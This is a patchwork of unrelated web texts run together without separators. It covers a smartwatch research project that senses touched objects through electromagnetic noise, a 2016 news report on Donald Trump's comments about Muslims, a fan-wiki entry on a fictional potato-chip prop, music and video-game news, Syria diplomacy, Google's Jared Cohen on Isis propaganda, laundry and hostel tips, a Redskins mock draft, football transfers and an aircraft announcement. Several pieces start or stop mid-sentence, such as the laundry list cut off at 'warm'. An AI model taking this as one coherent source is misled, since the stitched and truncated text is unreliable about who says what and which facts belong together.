Most everyday electrical and electromechanical objects emit small amounts of electromagnetic (EM) noise during regular operation. When a user makes physical contact with such an object, this EM signal propagates through the user, owing to the conductivity of the human body. By modifying a small, low-cost, software-defined radio, we can detect and classify these signals in real-time, enabling robust on-touch object detection. Unlike prior work, our approach requires no instrumentation of objects or the environment; our sensor is self-contained and can be worn unobtrusively on the body. We call our technique EM-Sense and built a proof-of concept smartwatch implementation. Our studies show that discrimination between dozens of objects is feasible, independent of wearer, time and local environment.
The frequencies required for EM detection are around 0 – 1 MHz which falls outside the range of the RTL-SDR’s lowest frequency of 24 MHz. To get around this, they ran the RTL-SDR in direct sampling mode. The RTL-SDR is connected to the watch, but a Nexus 5 smartphone is used to handle the USB processing which streams the signal data over WiFi to a laptop that handles the signal processing and live classification. In the future they hope to use a more advanced SDR solution, but the RTL-SDR has given them the proof of concept needed at a very low cost.
An example use scenario of the watch that Disney suggests is as follows:
Home – At home, Julia wakes up and gets ready for another productive day at work. Her EM-Sense-capable smartwatch informs and augments her activities throughout the day. For instance, when Julia grabs her electric toothbrush, EMSense automatically starts a timer. When she steps on a scale, a scrollable history of her weight is displayed on her smartwatch automatically. Down in the kitchen, EM-Sense detects patterns of appliance touches, such as the refrigerator and the stove. From this and the time of day, EM-Sense infers that Julia is cooking breakfast and fetches the morning news, which can be played from her smartwatch. Fixed Structures – When Julia arrives at the office, EMSense detects when she grasps the handle of her office door. She is then notified about imminent calendar events and waiting messages: “You have 12 messages and a meeting in 8 minutes”. Julia then leaves a reminder – tagged to the door handle – to be played at the end of the day: “Don’t forget to pick up milk on the way home.” Workshop – In the workshop, EM-Sense assists Julia in her fabrication project. First, Julia checks the remaining time of a 3D print by touching anywhere on the print bed – “five minutes left” – perfect timing to finish a complementary wood base. Next, Julia uses a Dremel to cut a piece of wood. EM Sense detects the tool and displays its rotatory speed on the smartwatch screen. If it knows the task, it can even recommend the ideal speed. Similarly, as Julia uses other tools in the workshop, a tutorial displayed on the smartwatch automatically advances. Finally, the 3D print is done and the finished pieces are fitted together. Office – Back at her desk, Julia continues work on her laptop. By simply touching the trackpad, EM-Sense automatically authenticates Julia without needing a password. Later in the day, Julia meets with a colleague to work on a collaborative task. They use a large multitouch screen to brainstorm ideas. Their EM-Sense-capable smartwatches make it possible to know when each user makes contact with the screen. This information is then transmitted to the large touchscreen, allowing it to differentiate their touch inputs. With this, both Julia and her colleague can use distinct tools (e.g., pens with different colors); their smartwatches provide personal color selection, tools, and settings. Transportation – At the end of the day, Julia closes her office door and the reminder she left earlier is played back: “Don’t forget to pick up milk on the way home.” In the parking lot, Julia starts her motorcycle. EM-Sense detects her mode of transportation automatically (e.g., bus, car, bicycle) and provides her with a route overview: “You are 10 minutes from home, with light traffic”.Media playback is unsupported on your device Media caption "People that live in Great Britain and all over the world were saying Donald Trump is right"
The presumptive Republican candidate in the US presidential election, Donald Trump, has called on Muslims to work with the police and "turn people in".
In an interview with the UK's ITV, Mr Trump said he was not anti-Muslim, but "anti-terror".
He was reacting to remarks by UK Prime Minister David Cameron that his call for Muslims to be banned from the US was "divisive, stupid and wrong".
Mr Trump made the call last year, when he was not the party's front-runner.
He insisted that when he called for an immediate temporary ban on Muslims being allowed into America, there had been criticism only from politicians. Millions of people from all over the world had called in, he said, saying "Donald Trump is right".
Asked whether he would re-phrase those comments in the light of the controversy they caused, Mr Trump said: "It got people thinking. Whether it's good for me or bad for me, I don't really care."
Media playback is unsupported on your device Media caption The story of his campaign - in controversial quotes
21 things that Donald Trump believes
How Trump captures the White House
Trump softens stance on Muslim ban
Can Trump really change his image?
World 'blowing up'
"Something very bad" was going on that people pretended didn't exist, Mr Trump said.
The world had a tremendous problem with radical Islamic terror, the New York billionaire said.
"If you look at it world-wide, the world is blowing up. And it's not people from Sweden that's doing the damage, okay?"
It is up to Muslims to turn in people they suspected of extremism, he told ITV.
"They have to work with the police. They're not turning them in. If they're not playing ball, it's not going to work out."
Media playback is unsupported on your device Media caption Donald Trump challenged London Mayor Sadiq Khan to an IQ test
Referring to Mr Cameron's criticism, Mr Trump also said it looked like he was not going to have a good relationship with the UK prime minister.
He also criticised the new Mayor of London Sadiq Khan for calling him "ignorant".
The New Yorker is one of the least politically experienced nominees in US history, having never held elected office.
Many senior Republicans have refused to back him. All other Republican rivals have dropped out of the campaign.
Protests have plagued his campaign, with particular focus on his plan to build a wall on the Mexican border and deport 11 million undocumented immigrants.
On the Democratic side, Hillary Clinton appears closer to the nomination, having secured more delegates than Bernie Sanders.
Key primaries to come
17 May - Oregon
24 May - Washington state (Republican only)
7 June - New Jersey, California, Montana, New Mexico, South DakotaLet's Potato Chips Get your damn hands off my Let's! Type Potato chips Featured in Buffy the Vampire Slayer
1,000 Ways to Die
Nicky Ricky Dicy and Dawn
2 Broke Girls
Arrested Development
Awkward
Brooklyn Nine-Nine
Catherine
Chicago P.D.
Community
Crazy Ex-Girlfriend
Cougar Town
The Crazy Ones
Designated Survivor
Dollhouse
Everybody Hates Chris
Everybody Loves Raymond
The Flash
Gilmore Girls
Grey's Anatomy
How To Get Away With Murder
It's Always Sunny in Philadelphia
The Lazarus Effect
The Middle
The Mindy Project
Miss Guided
Moonlight
My Name is Earl
The New Adventures of Old Christine
New Girl
Jane the Virgin
Orange Is The New Black
Skins
Sons of Anarchy
Switched at Birth
Teachers
Terminator: The Sarah Connor Chronicles
Touch
Trophy Wife
Ugly Betty
The Vampire Diaries
iCarly
Drake and Josh
White Collar
Workaholics
Mr. Jakson’s Creepypasta Stories
Bendy and the Ink Machine
Cuphead’s Adventures
Gucci Guilty (2018 Video)
Let's Potato Chips is a brand of potato chip featured in TV shows such as Community, Orange Is The New Black, How To Get Away With Murder, New Girl, Brooklyn Nine-Nine,”Marlon” and several others due to the use of a prop made by Independent Studio Service
Contents show]
Overview Edit
The brand is loosely based on Lay's and Utz. There are three flavors available; Natural, Bar-B-Que and Ranch. The brand also sells pretzels.
Appearances Edit
This article or section is incomplete. Please improve the article.
Community – "Origins of Vampire Mythology" (S03E15) – "Origins of Vampire Mythology" Edit
Dean Pelton brings a bag of Let's Potato Chips and a six pack of Jekyll Island Root Beer with him to Troy and Abed's apartment.
Abed eats Let's Pretzels.
Community – "Basic Email Security" (S06E06) – "Basic Email Security" Edit
Seen in the background.
Community – "Economics of Marine Biology" (S04E07) – "Economics of Marine Biology" Edit
Brita: Is there really that much money in this, Dean, or is it like that endorsement deal you made with Let's potato chips? Dean Pelton: If you don't like the crispy-licious taste of Let's, feel free to eat that other greasy brand.
Troy: *Eating a bag of Let's* Splingles? Not this guy.
Dean Pelton: Thank you, Troy young and hungry
It's Always Sunny In Philadelphia- "Old Lady House: A Situation Comedy"(S12E03)
Seen eaten by members of the gang in the back office.
It's Always Sunny In Philadelphia- "Mac Day" (S9E05)
Seen eaten by members of the gang in the observatory.
The Last Man On Earth- "M.U.B.A.R." (S4E01)
Bag of the chips ripped up and used as a tanning sheet by Pamela.
Brooklyn Nine-Nine- "AC/DC" (S2E20)
Boyle offers Peralta a bag of Let's Potato Chips.
Colony - "Company Man" (S2E5)
Charlie steals some supplies for the family, including Let's potato chips.
Designated Survivor - "Family Ties" (S2E7)
Damian is eating a bag of Let's, annoying Chuck during their investigation.
Undateable - "Leader of the Pack" (S1E6)
Brett is eating a bag of chips on the kitchen floor.
Community - "The Psychology of Letting Go" (S2E3)
Shirley eats a bag of Let's while talking to Jeff about his blood test. She positions them in front of the camera imitating product placement.
Gucci Guilty Advertisement (2018)
Held in the Lana Del Rey's hand when she is on the bed.
Touch "The Road Not Taken" (S01E13) in the first scene. Jake is eating them in the car.
See also Edit
Heisler, another prop made by Independent Studio Services.
Gannon Car RentalsHitman: Absolution will feature the talents of David Bateson, Agent 47’s regular voice actor.
Square Enix confirmed Bateson’s return today. The popular actor has voiced Agent 47 since the franchise’s debut with Codename 47 in 2000. IO Interactive had initially announced that Bateson wouldn’t be back, but after a “long search” apparently agreed with fans that there’s only one man for the job.
Interestingly, William Mapother provided the motion capture for 47; he’s better known as Ethan from Lost.
“IO and Bateson have been bed fellows for over a decade and like all long running relationships sometimes absence makes the heart grow fonder. Looking back I think we were just playing hard to get,” Hitman brand director Jon Brooke said.
Ah ha ha. Hitman Absolution is due on November 20 for PC, PlayStation 3 and Xbox 360.Aside from the X Factor juggernaut and its short-lived guarantee of record sales, the practice of predicting who is likely to storm the charts is one fraught with difficulties.
The BBC’s annual ‘Sound of...’ project, where a wide range of industry pundits are asked to name three artists they expect to make waves, has previously produced mixed results, with the benefit of hindsight.
Past winners have included names who have gone on to sell millions of records, including Adele (2008), Keane (2004) and 50 Cent (2003). But others, such as last year’s winner Michael Kiwanuka, have so far failed to land in the lap of the mainstream.
Today the BBC has announced its longlist for 2013, which includes hotly-tipped Glasgow electro-pop group CHVRCHES.
The trio have already amassed a large online following, won high-profile support slots and have been featured in The Scotsman and our music blog Radar, despite the fact that they have only released two tracks to date.
The 15 acts range from the garage rock of Palma Violets to the modern RnB of London duo AlunaGeorge.
The contest is not restricted to British musicians, with Toronto singer The Weeknd and Californian girl group HAIM also making the list.
A top five will be revealed on December 31, counting down one a day until January 4 when Huw Stephens will announce the BBC Sound of 2013 winner live on the Radio 1 Breakfast Show.
Whether or not the winner goes on to achieve fame and fortune is anyone’s guess.
The full list of nominees:
AlunaGeorge
A*M*E
Angel Haze
Arlissa
Chvrches
Haim
King Krule
Kodaline
Laura Mvula
Little Green Cars
Palma Violets
Peace
Savages
The Weeknd
Tom OdellImage caption The Syrian city of Homs has experienced days of heavy shelling
Chinese Premier Wen Jiabao says Beijing will "absolutely not protect any party" in the conflict in Syria.
Speaking after talks with EU chiefs in Beijing, he said China would "continue to play a constructive role".
China and Russia vetoed a UN resolution on Syria 10 days ago, sparking claims from the UN rights chief that action against protesters has intensified.
Meanwhile activists say the city of Homs, under heavy attack for more than a week, is suffering fresh bombardment.
The Local Co-ordination Committees group said that the shelling was "brutal" and was the worst for several days.
On Monday, the United Nations' human rights chief, Navi Pillay, said the veto by China and Russia had encouraged President Bashar al-Assad's government to carry out indiscriminate shelling of civilians in Homs.
In a special session of the UN General Assembly, Ms Pillay accused the Syrian government of launching an all-out assault to crush opposition dissent.
She said that at least 300 people had been killed in the assault on Homs, and that the number of dead and injured continued to rise every day.
'Middle East stability'
Mr Wen's comments came as he addressed a joint news conference in Beijing's Great Hall of the People with European Commission President Jose Manuel Barroso and European Council President Herman Van Rompuy.
He insisted that China remained committed to peace in Syria.
"What is most urgent and pressing now is to prevent war and chaos so that the Syrian people will be freed from greater sufferings," he said.
"This accords with the fundamental interests of the Syrian people and also will contribute to the peace and stability of the entire Middle East region.
"To achieve this objective, China supports all efforts consistent with the UN charter purposes and principles, and we are ready to strengthen communication with all parties in Syria and the international community and continue to play a constructive role.
"China will absolutely not protect any party, including the government of Syria."
Mr Van Rompuy said all UN Security Council members should act on Syria.
As the European Parliament in Strasbourg prepares to debate the violence in Syria, a senior Liberal MEP, Guy Verhofstadt, has told the BBC Europe should consider giving weapons to the Free Syrian Army.
But other MEPs, including the British conservative MEP Charles Tannock, say the situation in Syria is too complex and advises caution.
'Further sanctions'
Meanwhile German Chancellor Angela Merkel has praised the Arab League's stance on the Syria crisis.
Media playback is unsupported on your device Media caption Arab League Secretary-General Nabil al-Araby calls for killings in Syria to stop "right now"
Speaking as she welcomed the organisation's Secretary General, Nabil al-Araby, to Berlin, she said the league's "firm" position "clearly points out the human rights violations committed by the Assad government".
"The European Union supports this position and we will underline it through further sanctions," she said.
Mr Araby said that the killings in Syria should stop "right now", and said that the "winds of change" that had swept through the Arab countries in the past year had been about people demanding what Europeans had had for a long time: liberty, democracy, social justice, dignity and good governance.
Human rights groups say more than 7,000 have died throughout Syria since last March. The government says at least 2,000 members of the security forces have been killed combating "armed gangs and terrorists".
However, Syria restricts access to foreign media and it is not possible to verify casualty figures.Search company’s head of ideas sees short term wins against non-tech-savvy organisation, but says stifling group’s propaganda must not be neglected
Google’s head of ideas, tasked with building tools to fight oppression, has said that to stop Isis being able to publicise itself on the internet requires forcing Isis from the open web.
During a talk with the Royal Institute of International Affairs at Chatham House, Jared Cohen said that it will not be possible to stop terrorists such as Isis from using Tor and the dark web. The key to stopping the terrorist group from propagating online is therefore to hound them from the traditional web – that which can be indexed by search engines.
Cohen said: “What is new is that they’re operating without being pushed back in the same internet we all enjoy. So success looks like Isis being contained to the dark web.”
Isis propaganda has been effective at spreading information online. It has produced slick videos, hijacked existing social media trends including hashtags, and used bots to spread its messages. Online, it has made itself look bigger and more widespread than it physically is in Syria and surrounding areas.
Cohen said: “What Isis is doing is reflective of the times, as opposed to some sort of new sophistication that magically appeared.”
Challenging free speech
Isis has used tools and services made in the west for its own gain, which has put technology companies, particularly social media companies such as Facebook and Twitter in a difficult position. On the one hand they look to offer an environment of free speech, which comes into direct conflict with the desire to suppress terrorist propaganda.
Cohen said Isis “has managed to create an exaggerated sense of their size online” by creating many more accounts than it has members, thereby creating the narrative that the group is winning.
“But while the digital front is more complex, it could be where we can see greater short-term wins, so we should not neglect it,” he said.
To do this Cohen said that Isis members openly promoting their cause online must fear retribution and being caught for their actions. Their social media accounts must be removed as fast as they are produced to prevent people making contact with Isis recruiters on the open web.
Recent analysis by George Washington University’s programme on extremism, which looked at social media and legal documents of nearly 400 American followers of Isis, found that having a Twitter account suspended was a “badge of honour” among US-based Isis supporters. The Isis in America: From Retweets to Raqqa report painted a picture of a thriving “American Isis Twitter scene” and showed that social media activity played a crucial role in radicalisation and mobilisation to Iraq and Syria.
In Cohen’s opinion, Isis is “not a tech savvy organisation”, resorting to tactics commonly associated with fraud or spam, but it should not be underestimated.
Recently Isis has been reported as moving to encrypted chat apps, such as Telegram, as well as its own app developed for its own purposes. It has also been attacked by hacking collective Anonymous on the open and dark web.
But how do you fight Isis on the open web beyond simply shutting down accounts? Targeted advertising has been proposed as one idea, using the same techniques as ad-tech companies use to track and target adverts for products or services, showing propaganda readers an alternative view in an attempt to disrupt the process of inducting new members.#1. Washing too hot: This is tough to avoid if you have to go to a laundromat, since most laundromat washers (no matter what the dial says) have two heat settings: Hot, and Fusion. Unless you’re an abnormally dirty or stinky fellow, medium or gentle cycle on cold (or warm at most) should be good for 90% of your laundry needs.
#2. Drying too hot: 90% of all whiny “it shrank on the first wash!” internet reviews could be solved by a warm/cool wash and a warm to cool dry. Hot & hot = too much for most fibers. That said, you have to have respect for the guys who put their wardrobe through the “if it can’t stand the heat, get out of my closet” test. It’s the Spartan Race of laundry. Wash on hot. Dry on hot. If it doesn’t survive, toss it. Those dudes don’t mess around. (hat tip to my pal Chuck for proudly using this method)
#3. Not taking the time to sort: Wash with like colors = your clothes will look better longer. Try the four pile system:
Nice Lights (dress shirts and what not, try a delicate cycle and warm or cold temp) Nice Darks (jeans and other items you don’t want to fade. cold temp here) In Between (t-shirts, chinos, cotton sweaters, henleys, etc… warm |
for the guests to go to together. I stayed at this hostel called Bunchun in Chiang Mai and one night the hostel owner took us out to a music festival in the countryside. It was a 30 minute ride there, and on the way I got to know many of the other guests staying at the hostel. By the time we got there, we were having drinks together and having a good time. Other hostels organize activities within the hostel itself. So definitely participate in these as they are designed to get the guests to meet each other.
Be a Nice Person, Project Positivity, and Be Open-Minded
The last and final point is to not only be nice, but also to project positivity. There is a term known as the ‘laws of attraction’. If you put out positivity, you will get positivity in return. I took this mentality with me on my 2 month trip in SE Asia and I only had good things happen to me. So how do you project positivity? Its easy! Just be positive. Smile. Help your fellow backpackers. Be polite. Say please and thank you. And learn how to say it in Thai so you can be equally as nice to the locals. Be a good person and good things will come your way. All of the positive people I met along the way were also the most popular. Everyone just wanted to be around them because they too in turn felt good in their presence. And part of this is being open minded, trying new things, going with the flow. Just be super easy going. Besides you are travelling, and being open to the experience is the only way to take it all in.
Well I hope these tips help you with making new friends on your travels. If you have specific question on this, feel free to ask in the comments below. And as always, follow us for more tips and advice for backpacking Thailand. 🙂Redskins Mock Offseason: 2017 NFL Draft | 2017 Free Agency | 2017-18 Roster Predictions
Anticipation is starting to build for the 2017 NFL Draft as players, scouts, and coaches are gearing up for the NFL Scouting Combine on February 28th. In the coming weeks, there will be increased discussion and speculation regarding the incoming draft class which will give the public a better understanding of prospects’ stock and projected landing spot. Before all of this happens I wanted to give a look into how the draft could unfold for the Redskins as things stand at this moment in time.
After a fairly successful 2016 campaign in which the Redskins finished 8-7-1 and nearly snuck into the playoffs the Redskins are looking to add some players to their roster that will get them over the hump and into the playoffs next season. They are in prime position to do so as they are projected to have ten picks in the upcoming draft, including two in each of the fourth, fifth, and sixth rounds. This should allow Scot McCloughan to add players that address the team’s needs (defensive line, safety, linebacker, guard, and running back) as well as add quality players in other areas of the roster.
For this mock, each player has been assigned a composite ranking, these rankings were determined by taking each prospect’s ranking from CBS Sports, Daniel Jeremiah, FanSpeak, Matt Miller, Jon Dove, DraftTek, and Draft Wire and averaging all of the rankings to create one composite ranking. The composite rankings assist in providing a more accurate assessment of a player’s value in the upcoming draft. My own personal big board was used to supplement these rankings to determine who to select in the draft below.
Let’s take a look at how the draft could shake out for the Redskins:
1st Round – Pick 17 (17 Overall)
Taco Charlton – Defensive End – Michigan – 6’6″, 272 pounds – Senior
Composite Ranking: 24.00
The Redskins needs along the defensive line are well documented and luckily for them this draft class is flush with talent along the defensive line. Myles Garrett, Jonathan Allen, Solomon Thomas, and Derek Barnett will likely be gone by the time the Redskins first round pick rolls around, however, Taco Charlton should be a nice consolation prize for them. Charlton is an athletic specimen with an ideal combination of size, length, and speed that make him a nightmare coming off the edge. While rushing the passer is his strong suit, his length projects his ability to grow into an an effective run defender at the next level. The concerns surrounding Charlton are mostly about his being only a one year starter at Michigan and that his production doesn’t match his talent level. Although these are valid concerns, his rare athleticism and ability to get after the quarterback should be enough to convince the Redskins to pull the trigger.
2nd Round – Pick 17 (49 Overall)
Raekwon McMillan – Inside Linebacker – Ohio State – 6’2″, 243 pounds – Junior
Composite Ranking: 53.20
There is one thing that has been lacking in the Redskins linebacking corps since the days of London Fletcher: playmaking ability. While Mason Foster and Will Compton have been completely serviceable at their position they are both players who are not difference makers. Enter Raekwon McMillan, a player with the potential to be the playmaker that the Redskins have been missing for years. McMillan is an intelligent and instinctive three-down linebacker who is quick to diagnose plays and take the correct angle to get to where he needs to be to make plays.He plays a physical brand of football in which he utilizes a style of play that can only be described as controlled aggression. The biggest knock on McMillan is his lack of explosiveness and agility which shows when he is asked to cover man to man or track down agile ball carriers in space, however, he has demonstrated that he can largely make up for his deficiencies by utilizing his instincts to be in the right place at the right time.
3rd Round – Pick 17 (81 Overall)
Marcus Maye – Free Safety – Florida – 6’0″, 216 pounds – rSenior
Composite Ranking: 90.20
Deangelo Hall and Will Blackmon simply won’t cut it at the free safety position if the Redskins hope to shore up their defensive woes. Neither player is the long term solution at the position as their play has been inconsistent, plus both are on the wrong side of 30. Therefore, it is imperative that the Redskins add some youth to the free safety ranks and find their long term solution at the position. Marcus Maye isn’t as highly touted as Malik Hooker or Budda Baker but he is a former All-American who should be able to step in and be an impact player early on. Maye is a sideline to sideline playmaker who impacts all facets of the game by utilizing his superior instincts, football intelligence, and athleticism. In the passing game he is excellent at diagnosing plays which allows him to stay one step ahead and puts him in position to make plays on the ball frequently. Maye also does not shy away from being physical, he is a reliable tackler who isn’t afraid to play downhill and help out in the run game. There are inconsistencies in his game when he is asked to cover man to man or play the ball deep downfield and he has a tendency to be over aggressive in pursuit of the ball carrier but these issues, while significant, are correctable and new defensive backs coach Torrian Gray should be the right guy to work with him considering Gray coached Maye at Florida..
4th Round – Pick 7 (114 Overall)
Nico Siragusa – Guard – San Diego State – 6’5″, 330 pounds – rSenior
Composite Ranking: 110.67
If you asked Redskins fans last off-season which position along the offensive line needed to be upgraded, the majority would most likely have responded center. Fast forward one year and the center position seems to be set for the time being as Spencer Long has taken over as the teams starting center and played well. The glaring weakness of the offensive line is now left guard where Shawn Lauvao has not played up to expectations and Arie Kouandijo does not look like the future at the position. There are a number of attractive options at guard in the upcoming draft including San Diego State standout Nico Siragusa, who is coming off a stellar senior season in which he was selected to the AP All-America team. Siragusa’s game is all based on power; he is at his best in a power based scheme in which he is asked to maul defenders off the snap. He is a force in the run game with the ability to drive defenders off the line and create holes for the running back (just ask Donnel Pumphrey). Siragusa is no slouch in pass protection either, he uses a strong base to stand his ground to prevent the defender from getting any push into the pocket. He struggles a bit when asked to hold blocks for long periods of time and can sometimes get lost when asked to move in space. Regardless, his skill set makes him an ideal fit in Bill Callahan’s power based scheme and he should be able to compete for a starting job day one.
4th Round – Pick 17 (124 Overall)
Channing Stribling – Cornerback – Michigan – 6’2″, 175 pounds – Senior
Composite Ranking: 129.00
Cornerback is not the most pressing need on the Redskins roster as they have Josh Norman and Bashaud Breeland entreched as starters and Kendall Fuller waiting in the wings but they could stand to add some depth with Greg Toler set to hit the free agent market. Channing Stribling is an intriguing option because he is a type of corner that the Redskins don’t currently have and could use on their roster. Stribling is a press cornerback who has considerable length and knows how to use that to his advantage. He put his coverage skills on display this season, allowing just 19 catches on 63 targets, as well as exhibiting a knack for getting his hands on the ball, notching 4 interceptions and 12 passes defended. Additionally, Stribling is a willing tackler and rarely lets his man get away due to his fundamentally sound tackling approach. There are questions about how Stribling will hold up in the NFL due to his slight frame as well as concerns about his long striding running style affecting his short area quickness. Nevertheless, Stribling’s length coupled with his skills in coverage make him a prospect worth betting on.
5th Round – Pick 10 (154 Overall)
Jeremy Sprinkle – Tight End – Arkansas – 6’5″, 256 pounds – rSenior
Composite Ranking: 151.00
Tight end was a position of strength on the Redskins roster last season with star player Jordan Reed as the headliner and Vernon Davis playing a valuable role as his backup. Notwithstanding, the Redskins face uncertainty at the position going forward. Jordan Reed has dealt with a slew of injuries throughout his career, Vernon Davis is a free agent, and the duo of Niles Paul and Derek Carrier have proven to be unreliable. With this being the case, the Redskins would benefit by adding a new face to the mix and the upcoming draft has talent at the tight end position. Jeremy Sprinkle is someone the Redskins should consider as he has undeniable talent and should be available in the mid to late rounds following a shoplifting incident that hurt his draft stock. Sprinkle is a jack of all trades at the tight end position; he has the speed and athleticism to be a threat in the passing game and the size and physicality to be an effective blocker. In the passing game, his big body will make him an immediate red zone threat and his speed should allow him to be a threat down the field. As a blocker, he uses his large frame, long arms, and massive to engage defenders and hold his blocks for the duration of a play. As mentioned earlier, Sprinkle has character questions that shouldn’t be taken lightly but the Redskins have several veteran leaders, including Vernon Davis if re-signed, that would teach Sprinkle a thing or two.
5th Round – Pick 17 (161 Overall)
Lorenzo Jerome – Safety – Saint Francis – 5’11”, 202 pounds – Senior
Composite Ranking: 160.00
The Redskins strong safety position, very much like the free safety position, was a mess last season with failed free agent acquisition David Bruton, a past his prime Donte Whitner, and an inconsistent Duke Ihenacho all manning the position at some point during the season. To fix this revolving door of players the Redskins will likely be moving Su’a Cravens to strong safety this upcoming season. Even with this move, Cravens is currently the only strong safety on the roster and instead of re-signing any of the aforementioned players, the Redskins could look for Cravens backup through the draft. Lorenzo Jerome is someone to watch as he has been moving up draft boards due to his superb play in both the NFLPA Collegiate Bowl and Senior Bowl, recording a combined four interceptions and a fumble recovery between the two games. Jerome is a hybrid safety with the ball skills and speed of a free safety and the physicality of a strong safety. His strength is in coverage where he displays impressive play recognition and utilizes his speed and explosiveness to get to the ball in a hurry. Moreover, Jerome exhibits a willingness to take part in the more physical aspects of the position when defending the run. As an added bonus, Jerome can assist on special teams as he was an All-American returner. There will always be concerns about how an FCS player will adjust to NFL level competition, however, if Jerome’s play in the Senior Bowl is any indication then he looks to be a player who will succeed at the next level.
6th Round – Pick 17 (201 Overall)
Jeremiah Ledbetter – Defensive Tackle/End – Arkansas – 6’3″, 280 pounds – Senior
Composite Ranking: 219.50
As noted before, upgrading the personnel along the Redskins defensive line is one of the highest priorities this offseason and with the depth of this year’s defensive line class it would not be frowned upon to double dip into the defensive line prospect pool. One of the best late round defensive line prospects in this draft class is Arkansas defensive tackle Jeremiah Ledbetter. He is smaller than the protoypical 4-3 defensive tackle but don’t let his size fool you, Ledbetter possesses more power than you would expect of a player his size.While at Arkansas he showed that he could produce at a high level against SEC competition, racking up 7.5 tackles for loss in both seasons with the team. He is proficient at taking advantage of one on one matchups in a variety of different ways; he can power through weaker defenders, blow by slower ones, or get underneath taller ones. Ledbetter’s size may be an issue for some teams as he doesn’t have a clear position in the NFL, however, he has the skill and versatility to operate both outside and inside which makes him well worth a pick in the late rounds.
6th Round – Pick 25 (209 Overall)
Jon Heck – Offensive Tackle – North Carolina – 6’7″, 300 pounds – rSenior
Composite Ranking: 299.50
Ty Nsekhe had a strong stint as the Redskins starting left tackle this season while filling in for a suspended Trent Williams. He is now a restricted free agent and his future largely depends on the tender that is placed on him and whether other teams value him as a starting tackle. In the situation that a team signs him to an offer sheet and the Redskins fail to match, the team would be in need of a new backup tackle. Jon Heck is a late round prospect who has the potential to be that guy for the Redskins.Heck is an experienced player who has made 49 career starts at right tackle for North Carolina. Throughout his collegiate career he has been reliable in pass protection, however, he has been a below average run blocker due to a lack of physicality at the point of attack. If he can learn to better use his large frame and long arms to engage defenders early on and generate push in the run game then Heck has potential to become a well rounded tackle at the next level. Ultimately, his is a quality value in the sixth round and working under Bill Callahan would accelerate his development into a solid depth option behind Trent Williams and Morgan Moses.
7th Round – Pick 17 (235 Overall)
Cooper Rush – Quarterback – Central Michigan – 6’3″, 230 pounds – rSenior
Composite Ranking: 329.50
Contract talks between Kirk Cousins and Redskins brass are currently at a standstill, Cousins will more than likely be back next season but whether it is under the franchise tag or a long term deal remains to be seen. Regardless of how the situation pans out, Redskins fans can expect Scot McCloughan to draft a quarterback at some point in the draft. McCloughan learned under Ron Wolf who believed in drafting a quarterback every year due to the importance of the position. Since the Redskins have several holes that need addressing at other positions, a quarterback will likely need to be drafted in the later stages of the draft. Cooper Rush is a quarterback that McCloughan should be sure to love due to his intelligence, leadership, hard working attitude, and commitment to football. Rush is a student of the game who has a well developed of his offense and the other team’s defense every time he touches the field. His understanding of the offense partly stems from the fact that he runs a pro style offense in which he has the responsibility of making all pre-snap decisions at the line. In addition, Rush has solid fundamentals and displays excellent pocket poise, accuracy, and timing. The weaknesses in his game all stem from his physical traits; he does not have the arm strength necessary to make all the NFL throws and has not displayed any athleticism or escapability to speak of. Despite his limitations, Rush’s intelligence and understanding of the game make him a suitable counterpart to Nate Sudfeld to compete for a backup quarterback position.
All the picks are in, let me know what you think of the players the Redskins added in the draft and stay tuned for another installment of Redskins Mock Offseason that previews the Redskins options in free agency.
AdvertisementsCharlton Athletic have completed the signings of former Reading striker Simon Church and Bolton Wanderers forward Marvin Sordell.
Church, 24, joins the Addicks on a two-year deal following a successful trial while Sordell, 22, has agreed a season-long loan.
"It's no secret that we were looking to bolster our striking options," Charlton manager Chris Powell said.
"They are two hungry young strikers with points to prove."
Church came through the youth ranks at Reading and scored 24 goals in 122 appearances after making his debut in January 2009.
Marvin can score all types of goals with both feet and he's a lad who has got pace, and has got a real eye for goal Chris Powell Charlton manager
The Wales international spent time on loan at Huddersfield last season and has also had loan spells at Crewe, Yeovil, Wycombe and Leyton Orient.
England Under-21 international Sordell joined Bolton in February last year and scored eight goals in 26 appearances last season.
Powell described the former Watford man, who represented Great Britain at last year's Olympics, as an "exciting addition" to his squad.
"Marvin's goalscoring record is good," Powell told the club website. "He can score all types of goals with both feet and he's a lad who has got pace, and has got a real eye for goal.
"He's definitely one who will sniff chances out and come alive in the box, and I think he will enjoy playing here.
"I think we need to give him back that zest of playing and being involved week in, week out. Of course he has to earn the right to do that, but I have no doubt that he will make a mark while he is here.
"Simon is another striker with good pedigree. He is an all-round striker, and his movement is excellent.
"That's one thing I've seen straight away in training and in the game he played for us - how good his movement is. He is constantly on the move, constantly looking to be an outlet and get on the ball and link up play."Simon Dawkins has completed a late-night loan move to the end of the season from Tottenham. #AVFC — Aston Villa FC (@AVFCOfficial) January 31, 2013
News --> Simon Dawkins has joined Aston Villa on loan until the end of the season: bit.ly/14AKixq #COYS #THFC — Tottenham Hotspur (@SpursOfficial) January 31, 2013
It's official: Simon Dawkins will join Aston Villa on loan for the remainder of the English Premier League season.
Obviously, this isn't the news Earthquakes fans wanted to hear. However, this doesn't completely shut the door on a future move. In theory, Dawkins could still make a permanent move stateside after the EPL season ends.
Dawkins scored 14 goals and three in 53 appearances - largely as a left midfielder - for the Earthquakes in two seasons.During today's panel at Comic Con, Aaron Forsythe answered a question from the crowd concerning the Modern format played at this year's Community Cup. The audience member asked what the future for the format held and Forsythe said that Wizards of the Coast would be'moving forward with the Modern format.'
This is taken to mean that we will see Modern as an officially endorsed format by Wizards and will bring an end to the battle of Overextended vs Modern.
Assuming no changes are made to the structure of the format, aside from possible changes to the banned list, Modern will be constructed of all cards from the first Mirrodin block forward. This is when the card frames changed to their current form and acts as an easy marker for new players to discern whether a card is legal or not.The maximum technical expression of Zlin Aviation is finally ready to make itself known.
THE DEVELOPMENT
After 13 long months of preparation, planning difficulties, calculations and tests, and after much fascinating work, the unveiling of Zlin Aviation’s new airplane has finally arrived.
First, a name, a name that would be a testimony but would at the same time maybe even “shock” the aficionados of this type of aircraft,
The word “Cub”, first of all, aims to express the typical DNA of our production, which is a fundamental aspect to us and to our Clients.
In fact, having the “Savage Cub” (the best-selling of our airplanes since its presentation), and its technical and stylistic natural offspring - the “Savage Cub-S”, presented 4 years ago already currently in production, we could do none other than to aim to emphasize this proven winning formula, while innovating it with originality and new technical features.
The word “Shock”, on the other hand, was added with strong conviction, and it aims to underline some important facts relating to the entire project – to pleasantly “shock”, with features unattainable in other planes, during one of the most important operative phases of an airplane, the final approach and touchdown, through “Shock Absorbers” specifically designed and terribly efficient.
THE PREMISE
